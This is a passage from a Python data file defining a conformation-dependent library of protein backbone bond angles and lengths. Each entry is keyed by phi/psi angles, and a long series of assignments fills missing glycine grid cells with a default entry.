(-100, 10) : ['B', 7, 120.94, 1.14, 101.83, 0.84, 114.68, 1.28, 109.92, 1.1, 118.29, 0.96, 118.87, 1.37, 122.83, 1.55, 1.3331, 0.0078, 1.474, 0.0074, 1.5329, 0.0113, 1.5249, 0.0111, 1.2358, 0.0133],
(-90, -10) : ['B', 5, 120.47, 1.07, 102.76, 1.12, 114.75, 1.7, 110.49, 1.57, 118.78, 1.4, 118.6, 1.68, 122.55, 1.39, 1.3359, 0.0098, 1.467, 0.0117, 1.5368, 0.0187, 1.5193, 0.0127, 1.239, 0.0122],
(-90, 0) : ['B', 7, 120.89, 1.21, 102.33, 1.18, 114.8, 1.42, 110.27, 1.29, 118.81, 1.3, 118.63, 1.73, 122.52, 1.6, 1.3324, 0.0089, 1.4681, 0.011, 1.5356, 0.0169, 1.5207, 0.011, 1.2362, 0.012],
(-90, 10) : ['B', 6, 121.0, 1.16, 102.17, 1.05, 114.92, 1.19, 110.0, 1.12, 118.68, 1.14, 118.81, 1.61, 122.47, 1.62, 1.3315, 0.0079, 1.4701, 0.0101, 1.535, 0.0137, 1.5221, 0.0098, 1.2346, 0.0111],
(-90, 50) : ['B', 3, 121.65, 1.01, 102.81, 0.67, 113.12, 1.65, 112.1, 1.59, 121.38, 0.77, 116.45, 0.85, 122.11, 1.33, 1.3401, 0.0276, 1.4676, 0.0079, 1.5313, 0.0062, 1.5272, 0.0135, 1.2361, 0.0147],
(-90, 60) : ['B', 3, 120.96, 1.41, 102.28, 0.75, 112.26, 1.44, 112.64, 1.43, 121.77, 1.14, 115.95, 1.12, 122.26, 1.2, 1.3553, 0.0815, 1.474, 0.0133, 1.5329, 0.0104, 1.5283, 0.0091, 1.2356, 0.0176],
(-90, 70) : ['B', 3, 120.56, 2.23, 102.36, 0.78, 112.36, 2.06, 112.97, 1.43, 122.57, 1.56, 115.65, 1.56, 121.75, 1.76, 1.3796, 0.1343, 1.4803, 0.0171, 1.5309, 0.0122, 1.5261, 0.0085, 1.2389, 0.02],
(-90, 80) : ['B', 3, 120.89, 2.25, 102.73, 0.73, 113.27, 3.02, 112.06, 1.67, 123.07, 1.38, 115.35, 1.61, 121.52, 1.84, 1.3734, 0.1298, 1.4811, 0.0185, 1.5297, 0.0099, 1.529, 0.0108, 1.2329, 0.0189],
(-90, 140) : ['B', 3, 120.25, 1.35, 102.67, 1.09, 111.69, 1.97, 110.25, 1.59, 121.98, 1.23, 115.14, 1.38, 122.78, 1.4, 1.333, 0.012, 1.4672, 0.0113, 1.5351, 0.0112, 1.5204, 0.0108, 1.2328, 0.0099],
(-90, 150) : ['B', 5, 120.51, 1.26, 102.72, 1.06, 112.01, 1.84, 110.21, 1.57, 122.19, 1.26, 114.66, 1.34, 123.05, 1.34, 1.3302, 0.0123, 1.4648, 0.0111, 1.5358, 0.0113, 1.5198, 0.0106, 1.2323, 0.0109],
(-90, 160) : ['B', 3, 120.66, 1.09, 102.85, 1.13, 111.77, 1.67, 110.17, 1.45, 122.13, 1.23, 114.58, 1.16, 123.21, 1.21, 1.3295, 0.0122, 1.4641, 0.0101, 1.5362, 0.0135, 1.5229, 0.0103, 1.2327, 0.0123],
(-90, 170) : ['B', 4, 120.85, 1.08, 102.72, 1.16, 111.03, 1.78, 110.2, 1.46, 121.96, 1.23, 114.74, 1.03, 123.23, 1.11, 1.328, 0.0125, 1.4635, 0.0093, 1.5354, 0.016, 1.5254, 0.0097, 1.2324, 0.0125],
(-80, -180) : ['B', 7, 120.98, 1.07, 102.86, 1.23, 110.4, 1.61, 110.96, 1.66, 121.9, 1.47, 115.12, 1.25, 122.89, 1.25, 1.3262, 0.0144, 1.4652, 0.0117, 1.5306, 0.0167, 1.5257, 0.0113, 1.2295, 0.0156],
(-80, -20) : ['B', 11, 119.64, 1.01, 103.46, 0.93, 114.18, 1.39, 111.31, 1.61, 118.86, 1.33, 118.67, 1.46, 122.38, 1.39, 1.3371, 0.0124, 1.47, 0.0134, 1.5348, 0.0164, 1.5169, 0.0154, 1.2385, 0.0122],
(-80, -10) : ['B', 23, 120.04, 1.08, 103.2, 0.95, 114.27, 1.35, 111.04, 1.51, 118.9, 1.26, 118.68, 1.5, 122.37, 1.37, 1.3365, 0.0106, 1.4691, 0.0125, 1.5341, 0.0179, 1.5183, 0.0152, 1.2388, 0.0127],
(-80, 0) : ['B', 14, 120.45, 1.11, 102.88, 1.09, 114.35, 1.25, 110.88, 1.41, 118.98, 1.22, 118.62, 1.64, 122.36, 1.64, 1.335, 0.0094, 1.4673, 0.0117, 1.5352, 0.0173, 1.5194, 0.013, 1.2362, 0.0123],
(-80, 10) : ['B', 3, 120.83, 1.02, 102.6, 1.17, 114.68, 1.04, 110.52, 1.36, 118.92, 1.14, 118.69, 1.7, 122.33, 1.84, 1.3336, 0.0084, 1.4663, 0.0113, 1.5365, 0.0139, 1.5204, 0.0095, 1.234, 0.01],
(-80, 50) : ['B', 3, 121.91, 1.35, 102.79, 0.66, 113.7, 1.76, 112.04, 1.43, 121.31, 0.74, 116.2, 0.8, 122.44, 1.28, 1.3392, 0.034, 1.4687, 0.0074, 1.5315, 0.0071, 1.5276, 0.012, 1.2322, 0.0143],
(-80, 60) : ['B', 4, 120.88, 1.72, 102.25, 0.7, 112.48, 1.35, 112.89, 1.31, 121.97, 1.22, 115.89, 1.12, 122.12, 1.42, 1.3635, 0.1005, 1.4742, 0.0124, 1.5342, 0.0117, 1.5258, 0.0098, 1.2343, 0.0173],
(-80, 70) : ['B', 7, 120.25, 2.57, 102.35, 0.71, 112.33, 1.87, 113.09, 1.36, 122.82, 1.65, 115.59, 1.5, 121.58, 2.04, 1.3988, 0.158, 1.479, 0.0156, 1.5323, 0.0126, 1.5242, 0.0092, 1.236, 0.0201],
(-80, 80) : ['B', 5, 120.53, 2.52, 102.65, 0.68, 112.92, 2.73, 112.27, 1.56, 123.16, 1.49, 115.35, 1.54, 121.45, 2.05, 1.3904, 0.1512, 1.4794, 0.0171, 1.5303, 0.0103, 1.5271, 0.0107, 1.231, 0.0197],
(-80, 110) : ['B', 4, 120.79, 1.3, 102.92, 0.56, 110.74, 1.66, 111.87, 0.84, 121.11, 1.08, 116.09, 0.92, 122.73, 0.71, 1.3342, 0.0065, 1.4696, 0.0101, 1.5356, 0.0105, 1.5206, 0.0093, 1.235, 0.0079],
(-80, 120) : ['B', 5, 120.46, 1.47, 103.23, 0.67, 110.21, 1.64, 111.4, 0.91, 120.85, 1.24, 116.16, 1.22, 122.93, 0.97, 1.335, 0.0087, 1.4715, 0.0117, 1.5337, 0.0121, 1.522, 0.0094, 1.2329, 0.0096],
(-80, 130) : ['B', 8, 120.13, 1.13, 103.36, 0.83, 110.55, 1.63, 111.11, 1.17, 120.97, 1.17, 115.93, 1.26, 123.03, 1.13, 1.3339, 0.0111, 1.4701, 0.0123, 1.5333, 0.0126, 1.5227, 0.011, 1.2333, 0.0106],
(-80, 140) : ['B', 12, 119.99, 1.08, 103.19, 0.95, 111.32, 1.71, 110.85, 1.41, 121.48, 1.2, 115.37, 1.32, 123.06, 1.26, 1.3314, 0.0128, 1.4669, 0.0119, 1.5338, 0.0128, 1.5202, 0.0126, 1.2337, 0.0108],
(-80, 150) : ['B', 27, 120.14, 1.06, 103.15, 0.97, 111.68, 1.67, 110.63, 1.43, 121.86, 1.22, 114.91, 1.29, 123.13, 1.26, 1.3294, 0.0125, 1.4647, 0.0115, 1.5335, 0.0123, 1.5196, 0.0124, 1.2332, 0.0112],
(-80, 160) : ['B', 28, 120.31, 0.98, 103.23, 1.13, 111.57, 1.52, 110.6, 1.38, 122.12, 1.24, 114.65, 1.27, 123.14, 1.22, 1.3287, 0.012, 1.4646, 0.0112, 1.5328, 0.0135, 1.5216, 0.0118, 1.2323, 0.012],
(-80, 170) : ['B', 16, 120.52, 0.99, 103.15, 1.29, 111.13, 1.49, 110.75, 1.48, 122.15, 1.32, 114.72, 1.27, 123.04, 1.2, 1.3283, 0.0126, 1.4651, 0.011, 1.5322, 0.0158, 1.5237, 0.0111, 1.2315, 0.0131],
(-70, -40) : ['B', 9, 118.85, 1.09, 103.44, 1.12, 113.4, 1.34, 112.55, 1.5, 119.74, 1.45, 117.98, 1.43, 122.23, 1.25, 1.336, 0.012, 1.4713, 0.0129, 1.5341, 0.0144, 1.5163, 0.0142, 1.2374, 0.012],
(-70, -30) : ['B', 34, 119.19, 1.06, 103.52, 1.06, 113.57, 1.31, 112.11, 1.46, 119.34, 1.47, 118.34, 1.41, 122.27, 1.35, 1.3356, 0.0123, 1.47, 0.0133, 1.534, 0.014, 1.5166, 0.0154, 1.2372, 0.0116],
(-70, -20) : ['B', 56, 119.56, 1.01, 103.51, 0.96, 113.86, 1.25, 111.68, 1.46, 119.0, 1.4, 118.64, 1.4, 122.3, 1.36, 1.3359, 0.0125, 1.4705, 0.0137, 1.5335, 0.0149, 1.5166, 0.017, 1.2373, 0.0128],
(-70, -10) : ['B', 37, 119.87, 1.04, 103.41, 0.94, 114.03, 1.23, 111.44, 1.51, 118.86, 1.38, 118.75, 1.43, 122.35, 1.4, 1.3365, 0.0111, 1.4707, 0.0132, 1.5328, 0.0161, 1.5179, 0.0175, 1.238, 0.0137],
(-70, 0) : ['B', 6, 120.12, 1.11, 103.19, 1.0, 114.2, 1.2, 111.21, 1.71, 118.99, 1.32, 118.82, 1.56, 122.17, 1.67, 1.3366, 0.0098, 1.4696, 0.0122, 1.5347, 0.0172, 1.5187, 0.0155, 1.2365, 0.0136],
(-70, 120) : ['B', 7, 120.23, 1.23, 103.3, 0.8, 110.5, 1.57, 111.56, 1.09, 120.92, 1.17, 116.01, 1.27, 123.03, 1.06, 1.3335, 0.0101, 1.4716, 0.0121, 1.533, 0.0128, 1.5217, 0.0099, 1.2328, 0.0116],
(-70, 130) : ['B', 22, 119.9, 1.05, 103.36, 0.88, 110.8, 1.51, 111.46, 1.21, 121.03, 1.14, 115.81, 1.22, 123.1, 1.12, 1.3327, 0.0117, 1.4693, 0.0122, 1.5328, 0.0131, 1.5218, 0.0116, 1.233, 0.0113],
(-70, 140) : ['B', 44, 119.76, 1.0, 103.34, 0.93, 111.19, 1.57, 111.21, 1.33, 121.31, 1.2, 115.5, 1.27, 123.1, 1.2, 1.3316, 0.0132, 1.467, 0.0121, 1.5326, 0.0134, 1.5202, 0.0133, 1.2333, 0.011],
(-70, 150) : ['B', 73, 119.85, 1.01, 103.33, 0.93, 111.38, 1.59, 110.98, 1.31, 121.67, 1.22, 115.16, 1.28, 123.06, 1.23, 1.3305, 0.0131, 1.4656, 0.0119, 1.5325, 0.0135, 1.5196, 0.0131, 1.2335, 0.0114],
(-70, 160) : ['B', 56, 120.03, 0.99, 103.38, 1.05, 111.41, 1.5, 110.95, 1.31, 122.08, 1.28, 114.82, 1.35, 123.0, 1.22, 1.33, 0.0122, 1.4654, 0.0119, 1.5319, 0.014, 1.5206, 0.0125, 1.233, 0.0118],
(-70, 170) : ['B', 15, 120.21, 0.96, 103.42, 1.32, 111.22, 1.4, 111.22, 1.51, 122.31, 1.41, 114.75, 1.45, 122.86, 1.24, 1.33, 0.0125, 1.4665, 0.0121, 1.5306, 0.0149, 1.5213, 0.012, 1.2325, 0.0127],
(-60, -50) : ['B', 13, 118.97, 1.04, 103.23, 1.07, 113.47, 1.43, 113.06, 1.59, 120.03, 1.45, 117.75, 1.5, 122.17, 1.13, 1.3352, 0.013, 1.4733, 0.0132, 1.5336, 0.0162, 1.5182, 0.0137, 1.238, 0.0136],
(-60, -40) : ['B', 78, 119.05, 1.11, 103.33, 1.1, 113.53, 1.39, 112.62, 1.65, 119.86, 1.56, 117.87, 1.56, 122.23, 1.2, 1.3354, 0.0136, 1.4717, 0.0132, 1.5339, 0.0149, 1.5171, 0.0146, 1.2374, 0.0126],
(-60, -30) : ['B', 97, 119.28, 1.1, 103.39, 1.08, 113.65, 1.35, 112.21, 1.56, 119.55, 1.52, 118.19, 1.47, 122.22, 1.29, 1.3346, 0.0128, 1.4707, 0.0132, 1.5339, 0.014, 1.5163, 0.0161, 1.2375, 0.0124],
(-60, -20) : ['B', 63, 119.56, 1.02, 103.48, 1.0, 113.84, 1.3, 111.85, 1.42, 119.18, 1.43, 118.53, 1.37, 122.24, 1.34, 1.3346, 0.0119, 1.4708, 0.0132, 1.5337, 0.014, 1.5161, 0.0175, 1.2373, 0.0132],
(-60, -10) : ['B', 11, 119.82, 0.98, 103.52, 0.95, 113.98, 1.29, 111.62, 1.46, 118.89, 1.51, 118.71, 1.36, 122.37, 1.43, 1.3358, 0.0108, 1.4712, 0.0128, 1.5335, 0.0146, 1.5176, 0.0185, 1.2378, 0.0142],
(-60, 120) : ['B', 7, 119.98, 1.16, 103.17, 0.89, 110.95, 1.62, 111.71, 1.3, 121.27, 1.05, 115.71, 1.19, 122.98, 1.09, 1.332, 0.0112, 1.4706, 0.0127, 1.5324, 0.0134, 1.5205, 0.0109, 1.2333, 0.0134],
(-60, 130) : ['B', 43, 119.83, 1.08, 103.27, 0.9, 111.03, 1.54, 111.64, 1.26, 121.23, 1.07, 115.7, 1.21, 123.01, 1.15, 1.3312, 0.012, 1.468, 0.012, 1.5323, 0.0133, 1.5215, 0.0119, 1.2331, 0.0123],
(-60, 140) : ['B', 84, 119.76, 1.03, 103.31, 0.89, 111.14, 1.56, 111.46, 1.29, 121.34, 1.14, 115.56, 1.27, 123.03, 1.21, 1.3316, 0.013, 1.4668, 0.0121, 1.5321, 0.0134, 1.5211, 0.0127, 1.2328, 0.0116],
(-60, 150) : ['B', 80, 119.78, 1.03, 103.35, 0.87, 111.21, 1.59, 111.23, 1.28, 121.56, 1.16, 115.33, 1.28, 123.01, 1.24, 1.3319, 0.0134, 1.4661, 0.0124, 1.5324, 0.0139, 1.5207, 0.0124, 1.233, 0.0119],
(-60, 160) : ['B', 30, 119.92, 1.07, 103.39, 0.94, 111.34, 1.55, 111.12, 1.29, 121.95, 1.25, 115.04, 1.35, 122.91, 1.21, 1.3317, 0.0126, 1.4657, 0.0121, 1.5328, 0.0147, 1.5212, 0.0119, 1.233, 0.0121],
(-60, 170) : ['B', 4, 120.11, 1.12, 103.45, 1.21, 111.33, 1.43, 111.4, 1.54, 122.31, 1.44, 114.89, 1.49, 122.71, 1.2, 1.3313, 0.0121, 1.4669, 0.0124, 1.5315, 0.0148, 1.5208, 0.012, 1.2329, 0.0124],
(-50, -50) : ['B', 13, 119.24, 1.04, 103.15, 1.09, 113.78, 1.62, 113.2, 1.69, 120.05, 1.58, 117.74, 1.53, 122.18, 1.08, 1.335, 0.0138, 1.4726, 0.0133, 1.5332, 0.0159, 1.5189, 0.0146, 1.2376, 0.0135],
(-50, -40) : ['B', 38, 119.32, 1.14, 103.26, 1.14, 113.75, 1.49, 112.64, 1.74, 119.84, 1.69, 117.89, 1.64, 122.24, 1.15, 1.3342, 0.0151, 1.4716, 0.0134, 1.5336, 0.0152, 1.5182, 0.0151, 1.2372, 0.0129],
(-50, -30) : ['B', 19, 119.47, 1.16, 103.3, 1.12, 113.81, 1.45, 112.26, 1.67, 119.64, 1.58, 118.15, 1.58, 122.17, 1.21, 1.3332, 0.0144, 1.4708, 0.0132, 1.5336, 0.0143, 1.5164, 0.0172, 1.238, 0.0133],
(-50, 130) : ['B', 21, 119.93, 1.07, 103.19, 0.9, 111.26, 1.63, 111.64, 1.27, 121.32, 1.09, 115.78, 1.24, 122.85, 1.22, 1.3302, 0.0119, 1.4669, 0.0117, 1.5316, 0.0136, 1.5211, 0.0121, 1.2333, 0.0139],
(-50, 140) : ['B', 45, 119.9, 1.02, 103.25, 0.88, 111.15, 1.58, 111.56, 1.27, 121.36, 1.13, 115.67, 1.3, 122.89, 1.27, 1.3311, 0.0127, 1.4663, 0.0117, 1.5317, 0.0129, 1.5219, 0.0119, 1.2329, 0.0124],
(-50, 150) : ['B', 24, 119.89, 1.02, 103.32, 0.84, 111.11, 1.59, 111.39, 1.28, 121.43, 1.12, 115.48, 1.32, 122.99, 1.27, 1.3317, 0.0133, 1.4661, 0.0123, 1.5325, 0.013, 1.5222, 0.0115, 1.2328, 0.0123],
},
"Pro_xpro" : {
(-180, -180) : ['I', 12, 120.38, 1.03, 103.08, 0.97, 110.7, 1.22, 110.92, 1.22, 120.56, 1.45, 117.93, 1.2, 121.46, 1.18, 1.3292, 0.0118, 1.4649, 0.0203, 1.5357, 0.0137, 1.5171, 0.0093, 1.2404, 0.0112],
(-70, 150) : ['B', 4, 119.66, 0.72, 103.22, 0.52, 110.58, 1.07, 111.17, 0.94, 120.73, 0.79, 118.06, 0.83, 121.15, 0.47, 1.3346, 0.0115, 1.4594, 0.014, 1.5393, 0.0093, 1.517, 0.0067, 1.2432, 0.0085],
(-60, 150) : ['B', 4, 119.66, 0.73, 103.19, 0.56, 110.47, 0.96, 111.39, 0.94, 120.9, 0.72, 117.73, 0.9, 121.31, 0.46, 1.3313, 0.0087, 1.457, 0.0131, 1.5349, 0.0093, 1.5143, 0.0055, 1.2456, 0.0085],
},
}
Gly_nonxpro = cdl_database["Gly_nonxpro"]
Gly_nonxpro[(-180, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-180, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-170, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-160, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-150, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-140, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 0)]=Gly_nonxpro[(-180, -150)]
